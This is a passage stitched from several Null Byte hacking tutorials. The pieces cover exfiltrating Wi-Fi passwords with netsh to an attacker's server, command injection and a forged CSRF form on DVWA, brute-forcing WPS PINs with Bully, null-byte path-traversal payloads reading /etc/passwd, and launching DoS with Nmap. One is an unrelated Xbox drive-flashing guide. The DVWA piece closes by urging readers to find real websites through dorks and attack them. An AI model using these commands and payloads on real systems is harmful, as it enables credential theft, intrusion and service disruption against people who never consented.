"C:\ProgramData\Microsoft\Wlansvc\Profiles\" directory) and run thenetshcommand for each SSID to pull the Wi-Fi passwords in plain text (labeled "Key Content"). More on this in the second part of this series.Last, it parses the netsh output text and takes the discovered Wi-Fi SSIDs and passwords, concatenates them into the "$sendData" string, and sends them to the PHP server running on our VPS.To look under the hood at how the netsh command is used to get us the plain-text passwords, let's take a second to look at its output. If you're using a Windows computer right now, you can type the belownetshcommand into a cmd terminal to view your own stored wireless passwords.netsh wlan show profiles name="<your wifi router's SSID name>" key=clearThe netsh command will produce a bunch of information related to the Wi-Fi network, but most of it is useless to us. Scroll down a bit until you see the "Key Content" line which shows the Wi-Fi password in plain text. Below is an example screenshot of the netsh command's output:You'll notice our "Stage 2" PowerShell script parses this text by using "Select-String -Pattern" to look for the line that contains the text "Key Content," then splits its value on the colon (":"), takes the second value from the split array with the "[1]" (remember, the first value in an array is zero), and finally, calls ".Trim()" to remove any white-space characters from the left or the right to get the final value.Move onto the Next Part ...Now that we have the SD card (or USB flash drive, if you went that route), the PHP server set up on our VPS, and PowerShell "Stage 2" payload ready to go, we can begin converting the "Stage 1" PowerShell script to an executable and deliver the greeting card to our intended target.Next Up:How to Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 2 (Executing the Attack)Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by tokyoneon/Null ByteRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyAndroid for Hackers:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellHow To:Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 2 (Executing the Attack)How To:Crack WPA & WPA2 Wi-Fi Passwords with PyritAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:The Ultimate Guide to Hacking macOSHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Recover a Lost WiFi Password from Any DeviceHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Automate Wi-Fi Hacking with Wifite2Hacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Intercept Images from a Security Camera Using WiresharkVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Turn Any Phone into a Hacking Super Weapon with the Sonic |
The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF Vulnerabilities « Null Byte :: WonderHowTo | INTRODUCTIONHello dear null_byters here we go again with our third part of this serie.in this third part of our series I'd like to do a demonstration or continuation on fuzzing, but I think I should leave for later because the next tutorials about fuzzing will require from you some basic knowledge about assembly and how things work in the memory, so I thought for now to toast you with the famous RCE and CSRFREQUIREMENTS:basic understanding of apache, mysql, linux commands, html, because i wont go so deep on the codes and terms i will use about the listed technology.RCE --Remote Control ExecutionCSRF--Cross Site Request ForgeryI bet you already know the types of vulnerabilities out there,so you have heard about them, these kind of vulnerability are very popular and can lead us too take control over the server when we can successfully run and RCE(one of my favorite ) so today we are going to learn how can we find 0 day RCE and CSRF then exploit it using DVWA, so for this you will need to install it in our machine.Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.In case you already have the DVWA in your machine just scroll down to the part 2 of this tutorialPART 1 INSTALLING DVWAso fire up your kali linux, open your favorite browser and download it fromwww.dvwa.co.ukNow navigate to the folder you dowloaded the file and unzip itafter unziping(if i can say this word lol) we can run a listing to check if the file was successfully unzipped, and from the above screenshot we can see that the folder is there.CHANGING AND MOVING THE FOLDERAfter that instead of using this default folder(the name) i will change the name of the folder as "null_byte" because for me its more convenientok now we have the folder of our DVWA named as null_byte, the tutorial is so long i wish you can go and google the commands i wont explain(like mv, ls and all these basic commands).For now we have our null_byte vulnerable folder with the contents of DVWA what we are going to do now is to move it to our document root folder(the folder where we will allocate our vulnerable website) in kali linux 2.0 you can find it under /var/www/we can then run the following command:mv null_byte /var/wwwwand when we list it we can see that our folder is now in our document root folderGiving PermissionsNow we need so set permission for this folder for us to be able to read and execute the files inside this folder.chmod -R 755 null_byteDATABASENow that we have our DVWA in the right folder is time to set our user and password for mysql, just run the following command:service mysql startmysql -u root -pfor those who does not know the "-u" stands for user and we will set it as "root" and "-p" password as you can see we set it as blank by hitting just enter when they asked for the password in case you have a password there just type your password.Creating the databaseNow we have to create the database for our DVWA, inside the mysql terminal just run the creating database code(Go and read about mysql commands if you dont know it)create database nullbyte;Then we can run the command show to see our databaseshow databases;we see from the pic below that our database was successfully createdfor now you can exit with the exit command.EDTING THE CONFIG FILENow we have to set up our configuration with the right user,password and ip of our webserver so that our DVWA can run correctly, so open the folder of our DVWA and look for a file called "config.inc.php" and open it with your favorite text editor, i will be using leafpad, from config folder(i had to switch the folder due to technical issues) i bet you will be in the right folder already just run the command are:leafpad config.inc.phpand edit the db_server to localhost or 127.0.0.1, the database to null_byte as we created above and password to blank, close and save it.Just to confirm everything will work fine, make sure your document root is /var/www/in case its /var/www/html/you can delete the "html" and leave it like that /var/www/or you can just move our folder to the /var/www/htmlsave and close itSTARTING APACHE AND MYSQLNow lets start our apache server that will host our websiteservice apache2 startservice mysql startSETTING THE CURLif you don't know cURL is a computer software project providing a library and command-line tool for transferring data using various protocols. here we will use curl to set up our DVWATESTING OUR DVWAusing firefox i will then test our dvwaAs we can see from the pic below we got our DVWA running so now lets exploit it, login with the credentials:username:adminpassword:passwordPART 2 RCE AND CSRF VULNERABILITIESIf follow every steps correctly you should be prompted with this welcome page.First thing we should check is our security level, as for the begin we will set it to lowfrom the left side bar click on dvwa security then set it to "low" and click on submit.COMMAND EXECUTION VULENERABILITYIs used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target processNow go again to the side bar and click on command injections, there is an form where you can ping an ip, lets try to ping bingo.comGood till now everything works fine, but what if instead of just the ip we give a command to it?wow! we can execute commands to the server through the textfield that was supposed to receive only ips, as we can see ou "ls" worked perfectly, now lets try others.As you can see we are able to execute commands thought the textfield, we could then build an exploit to make our lives easier, so how did it happened? if you scroll dow in the right corner you will see two fields,where you can view the source codeif you can see from the above picture they used the shellexec without checking the input, without even check if the user inputs are all integer, it did not split the ip to 4 octects, so we can input anything resulting in our favorite brother aka RCE as this kind of 0day are flagged as critical,which means if you find it in a big company you get gold back to your account, go and try more commands by yourself.CSRF VULNERABILITYCross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf1) or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.A internet has a lot of websites vulnerable to it, its a good path too for the gold, so lets explore it. Go to the sidebar again and this time click on the CSRF vulnerability, you will see a simple form that allows you to change the admin password, change your admin password to something new i've changed mine to :1234Now right click anywhere in the form and click to view the source codeand copy the code of the form paste it to a text editor.Now near name="password_new"and name="password_conf" add the following:value="hacked" so now the code should look like thatname="passwprdnew" value="hacked"<br/>name="passwprdconf" value="hacked"<br/>Now for the action we have to specify the address or path of our vulnerable form that in my case is 127.0.0.1/null_byte/vulnerabilities/csrf/?so our final exploit will look like the pic below, save it as exploit.html and run it..now when we run it we will be able to change the admin password as the pic belowNow you can login with your new password "hacked" ...For today thats all, now that you have the basic of that, download a cms like the latest version of wordpress, drupal or joomla and try these techniques, and if you are lucky enough you will get a gold,or you can just use some google dorks so find websites using forms and shellexec try them and get the gold..see you soon leave your comments below if you stuck somewhere or want to correct me somewhere..Hacked by Mr__Nakup3ndaWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Abuse Session Management with OWASP ZAPHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:SQL Injection Finding Vulnerable Websites..How To:Exploit Remote File Inclusion to Get a ShellHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Find XSS Vulnerable Sites with the Big List of Naughty StringsHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)News:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Abuse Vulnerable Sudo Versions to Get RootHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)HIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityNews:Bugzilla Cross Site Request ForgeryIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItNews:Lots of WordPress plugin vulnerabilitiesHow To:Mac OS X Hit Again! How to Find and Delete the New SabPub Malware |
How to Hack Wi-Fi: Breaking a WPS PIN to Get the Password with Bully « Null Byte :: WonderHowTo | Welcome back, my nascent hackers!Like anything in life, there are multiple ways of getting a hack done. In fact, good hackers usually have many tricks up their sleeve to hack into a system. If they didn't, they would not usually be successful. No hack works on every system and no hack works all of the time.I have demonstratedmany ways to hack Wi-Fihere on Null Byte, including crackingWEPandWPA2passwords and creating anEvil TwinandRogue AP.A few years back, Alex Long demonstratedhow to use Reaverto hack the WPS PIN on those systems with old firmware and WPS enabled. Recently, a new WPS-hacking tool has appeared on the market and is included in ourKali hacking distribution. It's name, appropriately, isBully.Why WPS Is So VulnerableWPS stands for Wi-Fi Protected Setup and was designed to make setting a secure AP simpler for the average homeowner. First introduced in 2006, by 2011 it was discovered that it had a serious design flaw. The WPS PIN could be brute-forced rather simply.With only 7 unknown digits in the PIN, there are just 9,999,999 possibilities, and most systems can attempt that many combinations in a few hours. Once the WPS PIN is discovered, the user can use that PIN to find the WPA2 preshared key (password). Since a brute-force attack against a WPA2 protected AP can take hours to days, if this feature is enabled on the AP and not upgraded, it can be a much faster route to getting the PSK.The Keys to SuccessIt's important to note, though, that new APs no longer have this vulnerability. This attack will only work on APs sold during that window of 2006 and early 2012. Since many families keep their APs for many years, there are still many of these vulnerable ones around.Need a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.Wi-Fi hacking setup with wireless network adapter.Image by SADMIN/Null ByteIf you aren't familiar with wireless hacking, I strongly suggest that you read myintroduction on the Aircrack-ng suite of tools. If you're looking for a cheap, handy platform to get started, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Get Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxStep 1: Fire Up KaliLet's start by firing our favorite hackingLinuxdistribution, Kali. Then open a terminal that looks like this:To make certain we have some wireless connections and their designation, we can type:kali > iwconfigAs we can see, this system has a wireless connection designated wlan0. Yours may be different, so make certain to check.Step 2: Put Your Wi-Fi Adapter in Monitor ModeThe next step is to put your Wi-Fi adapter in monitor mode. This is similar to promiscuous mode on a wired connection. In other words, it enables us to see all the packets passing through the air past our wireless adapter. We can use one of the tools from the Aircrack-ng suite, Airmon-ng, to accomplish this task.kali > airmon-ng start wlan0Next, we need to use Airodump-ng to see the info on the wireless AP around us.kali > airodump-ng mon0As you can see, there are several APs visible to us. I'm interested in the first one: "Mandela2." We will need its BSSID (MAC address), its channel, and its SSID to be able to crack its WPS PIN.Step 3: Use Airodump-Ng to Get the Necessary InfoFinally, all we need to do is to put this info into our Bully command.kali > bully mon0 -b 00:25:9C:97:4F:48 -e Mandela2 -c 9Let's break down that command to see what's happening.mon0is the name of the wireless adapter in monitor mode.--b 00:25:9C:97:4F:48is the BSSID of the vulnerable AP.-e Mandela2is the SSID of the AP.-c 9is the channel the AP is broadcasting on.All of this information is available in the screen above with Airodump-ng.Step 4: Start BullyWhen we hit enter, Bully will start to try to crack the WPS PIN.Now, if this AP is vulnerable to this attack, bully will spit out the WPS PIN and the AP password within 3 to 5 hours.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Automate Wi-Fi Hacking with Wifite2How To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Recover a Lost WiFi Password from Any DeviceHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Hack Wi-Fi Networks with BettercapHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Stop Handing Out Your Wi-Fi Password by Enabling "Guest Mode" on Your ChromecastHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Crack WPS with WifiteHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Back Up & Restore Your iPhone Without iTunesAndroid Basics:How to Connect to a Wi-Fi NetworkHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hack Wi-Fi Using Wifite in Kali |
How to Install an Off-the-Shelf Hard Drive in an Xbox 360 (Get 10x the GB for Your Money) « Null Byte :: WonderHowTo | Since the day of the Xbox 360 release, storage space for the device has been overpriced beyond belief. OEM250GBHDD modelsstillcost$110 USD! A250GBhard drive shouldnotdestroy my wallet, Microsoft. Storage space, especially on HDDs, is cheap. You can buy a removable2TBexternal for only$100 USD, so it's a little beyond my comprehension to see how they calculate their MSRP to yield such a large profit. On the other hand, Xbox 360 had very impressive hardware specs back in the day, equipped with a triple core CPU, which was unheard of at that time.The only thing that makes a 360 HDD unique from others is a special secure file system and sector, so we can essentially hack other hard drives to do the same thing. In thisNull Byte, let's go over how we can hack a cheap alternative hard drive to work with our Xbox 360s.WarningI do not know if the latest Xbox dashboard can do silent scans for this and ban you accordingly. The latest update was very sneaky, so be safe.RequirementsWindows OSAt least $50.00, or one of the hard drives listed belowUSB driveComputer capable of booting from USBSpare Hard Disk DrivePurchase and use anyoneof the following drives to hack for use with your Xbox.WD Scorpio Series HDD (any)WD VelociRaptor SeriesWD AV-25 Series BUDTDownloadsDrive Sector DataThis is what allows your Xbox 360 drive to use the space on the disk. Only the following sizes are allowed, even if your disk is larger. Download the one that you need. Right-click and unzip it to your desktop.20GB60GB120GB250GB320GBHDDHackris our tool of choice. Make sure it is downloaded and waiting on your desktop.Step 1: Format Device for HackingFirst, we need to make sure our device is formatted properly to be booted from when we toss the tool on there.Standard MethodNavigate to Computer.Right click the USB drive and click format.Make a DOS boot disc and select quick format.If That Didn't WorkGrab theWindows Bootable USB Drive Creatortool.Unzip files viaright-click > extract.Select your USB drive.Select FAT file system.Select quick-format and Create bootable DOS drive.Browse and choose the USB Drive Boot Files\MS-DOS folder as the location.Click start.Step 2: Prepare the Files & DriveNow we need to drag the files to the bootable drive that we will use to hack our HDD.Extract the drive sector data and the HDDHackr tool that you have on your desktop into the root of the bootable device that we made.Make sure your.BINfile is namedHDDSS.BIN.Shut down your computer.Connect the hard drive that you are hacking in place of your main computer hard drive. If you don't know how to do it, check out this tutorial fromLifeHacker.Keep your hacked USB connected.Step 3: Hack That HDDText inboldindicates a DOS prompt command that you need to type.Boot your computer and strike F12 (normally) to get into your boot menu.Select USB.Enter the number corresponding to your drive letter. It is the SATA drive with WD somewhere in its name.HitFto flash.You will get a message saying, "The information in file HDDSS.BIN does NOT match the drive's firmware info. Do you want to flash the Xbox 360 compatible firmware?" HitY.HitY, again.Your drive is now hacked! To install it, simply remove the screws and case from your old HDD and swap it out for the new one. Have fun with your less-than-half-price HDD.Follow Null Byte!TwitterGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byAlfred HermidaRelatedHow To:Upgrade the hard drive on your XBox 360How To:Prevent Red Ring of Death on Xbox 360.How To:Fix a bricked XBox 360 hard drive with a mod discHow To:Install, configure & use USB flash drives & external hard drives on Xbox 360sHow To:Install games onto your XBox 360 hard drive (HDD)How To:Install games to the Xbox 360 hard driveHow To:Transfer data between XBox 360 removable hard drivesHow To:Transfer Xbox 360 hard drive save data to new Slim 360How To:Level up and get near infinite money in Scott Pilgrim vs. The World: The GameHow To:Disassemble your XBox 360 hard disc driveHow To:Hot Cyber Monday Deals on Apps, Games, TVs, & Other TechHow To:Use HDDHackr to make a hard drive work with XBox 360How To:Configure any USB flash drive for XBox 360 storageHow To:Open a Xbox 360 HDD hard driveHow To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsNews:Price Drop! Xbox 360 Arcade now $149!News:Kinect Price Revealed; Sony Move ComparisonHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsNews:A Last Resort Method to Fix the Xbox 360 E74 Error (The Red Ring of Death)How To:Get the 'Genius' Achievement in Batman: Arkham CityHow To:Backup All of Your Xbox 360 Data to Your ComputerHow To:Build Your Own "Pogo Mo Thoin" to Flash Any Xbox 360 DVD Drive for Under $5How To:Play Emulated Games on Linux with Your Xbox 360 ControllerNews:Virtualization Using KVMHow To:Get the 'Show Off' Achievement in Assassin's Creed: RevelationsNews:Possible Xbox 360 Rebranding at E3?News:Minecraft for Xbox 360How To:Get the 'In the Nick of Time' Achievement in Battlefield 3How To:Burn an XDG3 Formatted Xbox 360 Game ISO with LinuxHow To:Fix Your Overheating, RRoD, or E74 Xbox 360 with Mere PenniesHow To:Get the 'Butterfly' Achievement in Battlefield 3How To:Get the 'Monster Dance' Achievement in Assassin's Creed: RevelationsHow To:Get the 'Nein' Achievement in Modern Warfare 3News:The Brilliant Work of Zeboyd Games Highlights Some Hideous Flaws in XBLIGHow To:Tim Schafer and Cookie Monster Demonstrate How Awesome They Are TogetherNews:Xbox 360 Interface Update Finally LiveHow To:Earn the 'It's Good!' Achievement and Trophy in RageHow To:Earn the 'Passive Aggressive' Achievement in RageHow To:Copy & Convert your Skyrim Game Save from the Xbox 360 to your PCHow To:Revert to the Old Netflix App on the New Xbox 360 Update |
How Null Byte Injections Work: A History of Our Namesake « Null Byte :: WonderHowTo | In thisNull Byte, I'm going to teach you about Null Byte Injections.Null Bytes are an older exploit. It works by injecting a "Null Character" into a URL to alter string termination and get information or undesirable output (which is desirable for the malicious user).All languages of the web are exploitable with this if your code isn't sanitizing input -OR- parsing files properly. Null bytes are put in place to terminate strings or be a place holder in code, and injecting these into URLs can cause web applications to not know when to terminate strings and manipulate the applications for purposes such as LFI/RFI (Local and Remote File Inclusion).A null byte in the URL is represented by '%00' Which in ASCII is a "" (blank space).I'll be showing you how to use this exploit on some vulnerable php code.How to Exploit by ExampleWhen running a webpage, the designer may have coded a bit of PHP to fetch images from the server. So let's assume they used this simple snippet of PHP below to load the image called from X webpage.Here is the PHP code example that we will exploit:$file = $_GET['file'];require_once("/var/www/images/$file.jpg");This is what the URL extension would normally look like:.php?file=file.jpgThis is calling "file.jpg" from the server and displaying it to the webpage. We would exploit it like so by adding the Null Byte to the end of a local/remote file call:.php?file=[file inclusion here]%00Example:.php?file=../../../../../../etc/passwd%00Why Does This Happen?The PHP code above is vulnerable because it's parsing files from the database, and just appending the ".jpg" extension to the end to make them display as picture files.By injecting a null byte, the extension rule won't be enforced because everything after the null byte will be ignored. You can use this PHP code to fix it, removing NULL characters from a string.Example PHP code:$file = str_replace(chr(0), '', $string);This attack is mostly deprecated in PHP6, but you might be surprised how many people are still using PHP5.This attack is also useful on other languages, such as the Perl scripting language.Here's the Perl counter-part to the example above:$buffer = $ENV{'QUERY_STRING'};$buffer =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;$fn = '/home/userx/data/' .$buffer. '.jpg';open (FILE,"<$fn");Here's how it would be exploited:read.pl?page=../../../../etc/passwd%00jpgAs you can see, the exploit is pretty uniform in the way it's carried out. I hope this gives you the insight you need on Null Byte Injections.Discuss or ask questions in theforums!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreSQL Injection 101:Advanced Techniques for Maximum ExploitationWeekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)A Null Byte Call to Arms:Join the Fight Against IgnoranceFarewell Byte:Goodbye Alex, Welcome AllenHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:Get YouTube's New Layout Today with a Simple JavaScript HackNull Byte:Never Let Us DieNews:Null CommunityHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitWeekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:A History of Aglorithms, Cryptography and How They Relate to Online Security.How To:Things to Do on WonderHowTo (03/21 - 03/27)How To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxHow To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreCommunity Byte:Coding an IRC Bot in Python (For Beginners)How To:Get Packet Injection Capable Drivers in LinuxNews:Packet Capture + Cloud Technology == AwesomeHow To:Things to Do on WonderHowTo (11/9 - 11/15)News:WebChat for Null Byte IRC!How To:Things to Do on WonderHowTo (01/18 - 01/24)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)How To:Things to Do on WonderHowTo (02/29 - 03/06)How To:Safely Log In to Your SSH Account Without a PasswordNews:A Last Resort Method to Fix the Xbox 360 E74 Error (The Red Ring of Death)Goodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Customize Your Linux Desktop |
How to Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More! « Null Byte :: WonderHowTo | NMAP is an essential tool in any hacker's arsenal. Originally written by Gordon Lyon aka Fydor, it's used to locate hosts and services and create a map of the network. NMAP has always been an incredibly powerful tool, but with it's newest release, which dropped mid-November of last year, they've really out done themselves.NMAP version 7 comes equipped with a ton of new scripts you can use to do everything from DoSing targets to exploiting them (with written permission, of course). The scripts cover the following categoriesAuth:Use to test whether you can bypass authentication mechanismBroadcast:Use to find other hosts on the network and automatically add them to scanning que.Brute:Use for brute password guessing.Discovery:Use to discover more about the network.Dos:Use to test whether a target is vulnerable to DoSExploit:Use to actively exploit a vulnerabilityFuzzer:Use to test how server responds to unexpected or randomized fields in packets and determine other potential vulnerabilitiesIntrusive:Use to perform more intense scans that pose a much higher risk of being detected by admins.Malware:Use to test target for presence of malwareSafe:Use to perform general network security scan that's less likely to alarm remote administratorsVuln:Use to find vulnerabilities on the targetFor this tutorial, I will show you how to scan a target for vulnerabilities, actively try and exploit any vulnerabilities, test whether the target is vulnerable to DoS, and then finally launch a DoS attack.Step 1: Download NMAPDownload nmap fromhttps://nmap.org/download.htmland follow the installation instructions for your particular Operating System. NMAP works easily on both Windows and Linux. After installing you will have NMAP and ZENMAP on your computer.ZENMAP and NMAP are the same thing except ZENMAP provides you with a graphical user interface. For the rest of this tutorial you can chose to either run NMAP from your command line, or launch ZENMAP and enter the commands in the GUI.Step 2: Run NMAPNow that we've got NMAP installed, it's time to scan our target for vulnerabilities. As mentioned there is an entire category of scripts dedicated to finding 